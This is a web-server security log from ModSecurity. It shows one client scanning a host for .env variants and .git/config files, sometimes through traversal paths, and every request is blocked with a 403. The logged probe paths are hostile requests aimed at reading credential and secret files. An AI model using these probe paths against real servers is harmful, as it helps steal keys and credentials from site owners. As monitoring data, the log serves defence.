[Mon Oct 26 01:10:02.880372 2026] [security2:error] [pid 2967444:tid 2967444] [client 45.148.10.5:23966] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "at7gqizbxoDcPgmvgSFJBAAAAAI"]
[Mon Oct 26 01:10:02.880649 2026] [security2:error] [pid 2967444:tid 2967444] [client 45.148.10.5:23966] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "at7gqizbxoDcPgmvgSFJBAAAAAI"]
[Mon Oct 26 01:10:03.117537 2026] [security2:error] [pid 2967983:tid 2967983] [client 45.148.10.5:23970] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env_sample"] [unique_id "at7gq4by0T5GxfPG5JieugAAAAg"]
[Mon Oct 26 01:10:03.117787 2026] [security2:error] [pid 2967983:tid 2967983] [client 45.148.10.5:23970] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env_sample"] [unique_id "at7gq4by0T5GxfPG5JieugAAAAg"]
[Mon Oct 26 01:10:03.118068 2026] [security2:error] [pid 2967983:tid 2967983] [client 45.148.10.5:23970] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env_sample"] [unique_id "at7gq4by0T5GxfPG5JieugAAAAg"]
[Mon Oct 26 01:10:03.358452 2026] [security2:error] [pid 2963578:tid 2963578] [client 45.148.10.5:23974] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "64.20.54.226"] [uri "/assets../.git/config"] [unique_id "at7gq4l8CCaegHlNIHu70QAAAD8"]
[Mon Oct 26 01:10:03.358535 2026] [security2:error] [pid 2963578:tid 2963578] [client 45.148.10.5:23974] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "64.20.54.226"] [uri "/assets../.git/config"] [unique_id "at7gq4l8CCaegHlNIHu70QAAAD8"]
[Mon Oct 26 01:10:03.358600 2026] [security2:error] [pid 2963578:tid 2963578] [client 45.148.10.5:23974] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/assets../.git/config"] [unique_id "at7gq4l8CCaegHlNIHu70QAAAD8"]
[Mon Oct 26 01:10:03.358803 2026] [security2:error] [pid 2963578:tid 2963578] [client 45.148.10.5:23974] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/assets../.git/config"] [unique_id "at7gq4l8CCaegHlNIHu70QAAAD8"]
[Mon Oct 26 01:10:03.359087 2026] [security2:error] [pid 2963578:tid 2963578] [client 45.148.10.5:23974] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/assets../.git/config"] [unique_id "at7gq4l8CCaegHlNIHu70QAAAD8"]
[Mon Oct 26 01:10:03.597764 2026] [security2:error] [pid 2963523:tid 2963523] [client 45.148.10.5:23986] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /files/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/files/.git/config"] [unique_id "at7gq8Vpa646XWXolcwAPgAAABg"]
[Mon Oct 26 01:10:03.598000 2026] [security2:error] [pid 2963523:tid 2963523] [client 45.148.10.5:23986] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/files/.git/config"] [unique_id "at7gq8Vpa646XWXolcwAPgAAABg"]
[Mon Oct 26 01:10:03.598238 2026] [security2:error] [pid 2963523:tid 2963523] [client 45.148.10.5:23986] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/files/.git/config"] [unique_id "at7gq8Vpa646XWXolcwAPgAAABg"]
[Mon Oct 26 01:10:03.831026 2026] [security2:error] [pid 2966995:tid 2966995] [client 45.148.10.5:24000] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.live"] [unique_id "at7gq1mPATn9-OOzVsuAwAAAAAA"]
[Mon Oct 26 01:10:03.831249 2026] [security2:error] [pid 2966995:tid 2966995] [client 45.148.10.5:24000] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.live"] [unique_id "at7gq1mPATn9-OOzVsuAwAAAAAA"]
[Mon Oct 26 01:10:03.831511 2026] [security2:error] [pid 2966995:tid 2966995] [client 45.148.10.5:24000] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.live"] [unique_id "at7gq1mPATn9-OOzVsuAwAAAAAA"]
[Mon Oct 26 01:10:04.069360 2026] [security2:error] [pid 2967995:tid 2967995] [client 45.148.10.5:61866] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "64.20.54.226"] [uri "/static../.git/config"] [unique_id "at7grIkKmcwaFKw2zjO68QAAABY"]
[Mon Oct 26 01:10:04.069434 2026] [security2:error] [pid 2967995:tid 2967995] [client 45.148.10.5:61866] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "64.20.54.226"] [uri "/static../.git/config"] [unique_id "at7grIkKmcwaFKw2zjO68QAAABY"]
[Mon Oct 26 01:10:04.069501 2026] [security2:error] [pid 2967995:tid 2967995] [client 45.148.10.5:61866] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/static../.git/config"] [unique_id "at7grIkKmcwaFKw2zjO68QAAABY"]
[Mon Oct 26 01:10:04.069830 2026] [security2:error] [pid 2967995:tid 2967995] [client 45.148.10.5:61866] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/static../.git/config"] [unique_id "at7grIkKmcwaFKw2zjO68QAAABY"]
[Mon Oct 26 01:10:04.070151 2026] [security2:error] [pid 2967995:tid 2967995] [client 45.148.10.5:61866] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/static../.git/config"] [unique_id "at7grIkKmcwaFKw2zjO68QAAABY"]
[Mon Oct 26 01:10:04.306199 2026] [security2:error] [pid 2968015:tid 2968015] [client 45.148.10.5:61880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.bak"] [unique_id "at7grIxjGi9drRw_gnmvBgAAABc"]
[Mon Oct 26 01:10:04.306433 2026] [security2:error] [pid 2968015:tid 2968015] [client 45.148.10.5:61880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.bak"] [unique_id "at7grIxjGi9drRw_gnmvBgAAABc"]
[Mon Oct 26 01:10:04.306724 2026] [security2:error] [pid 2968015:tid 2968015] [client 45.148.10.5:61880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.bak"] [unique_id "at7grIxjGi9drRw_gnmvBgAAABc"]
[Mon Oct 26 01:10:04.559712 2026] [security2:error] [pid 2948938:tid 2948938] [client 45.148.10.5:61896] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.production.local"] [unique_id "at7grFN_bUq_OQDpNPOoMAAAAAo"]
[Mon Oct 26 01:10:04.560094 2026] [security2:error] [pid 2948938:tid 2948938] [client 45.148.10.5:61896] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.production.local"] [unique_id "at7grFN_bUq_OQDpNPOoMAAAAAo"]
[Mon Oct 26 01:10:04.560474 2026] [security2:error] [pid 2948938:tid 2948938] [client 45.148.10.5:61896] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.production.local"] [unique_id "at7grFN_bUq_OQDpNPOoMAAAAAo"]
[Mon Oct 26 01:10:04.798997 2026] [security2:error] [pid 2967444:tid 2967444] [client 45.148.10.5:61908] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.test"] [unique_id "at7grCzbxoDcPgmvgSFJBQAAAAI"]
[Mon Oct 26 01:10:04.799225 2026] [security2:error] [pid 2967444:tid 2967444] [client 45.148.10.5:61908] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.test"] [unique_id "at7grCzbxoDcPgmvgSFJBQAAAAI"]
[Mon Oct 26 01:10:04.799469 2026] [security2:error] [pid 2967444:tid 2967444] [client 45.148.10.5:61908] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.test"] [unique_id "at7grCzbxoDcPgmvgSFJBQAAAAI"]
[Mon Oct 26 01:10:05.037983 2026] [security2:error] [pid 2967983:tid 2967983] [client 45.148.10.5:61922] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/src/.git/config"] [unique_id "at7grYby0T5GxfPG5JieuwAAAAg"]
[Mon Oct 26 01:10:05.038412 2026] [security2:error] [pid 2967983:tid 2967983] [client 45.148.10.5:61922] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/src/.git/config"] [unique_id "at7grYby0T5GxfPG5JieuwAAAAg"]
[Mon Oct 26 01:10:05.038919 2026] [security2:error] [pid 2967983:tid 2967983] [client 45.148.10.5:61922] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/src/.git/config"] [unique_id "at7grYby0T5GxfPG5JieuwAAAAg"]
[Mon Oct 26 01:10:05.538375 2026] [security2:error] [pid 2963523:tid 2963523] [client 45.148.10.5:61952] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.ci"] [unique_id "at7grcVpa646XWXolcwAPwAAABg"]
[Mon Oct 26 01:10:05.538637 2026] [security2:error] [pid 2963523:tid 2963523] [client 45.148.10.5:61952] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.ci"] [unique_id "at7grcVpa646XWXolcwAPwAAABg"]
[Mon Oct 26 01:10:05.538876 2026] [security2:error] [pid 2963523:tid 2963523] [client 45.148.10.5:61952] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.ci"] [unique_id "at7grcVpa646XWXolcwAPwAAABg"]
[Mon Oct 26 01:10:05.776100 2026] [security2:error] [pid 2966995:tid 2966995] [client 45.148.10.5:61960] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /cms/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/cms/.git/config"] [unique_id "at7grVmPATn9-OOzVsuAwQAAAAA"]
[Mon Oct 26 01:10:05.776373 2026] [security2:error] [pid 2966995:tid 2966995] [client 45.148.10.5:61960] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/cms/.git/config"] [unique_id "at7grVmPATn9-OOzVsuAwQAAAAA"]
[Mon Oct 26 01:10:05.776671 2026] [security2:error] [pid 2966995:tid 2966995] [client 45.148.10.5:61960] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/cms/.git/config"] [unique_id "at7grVmPATn9-OOzVsuAwQAAAAA"]
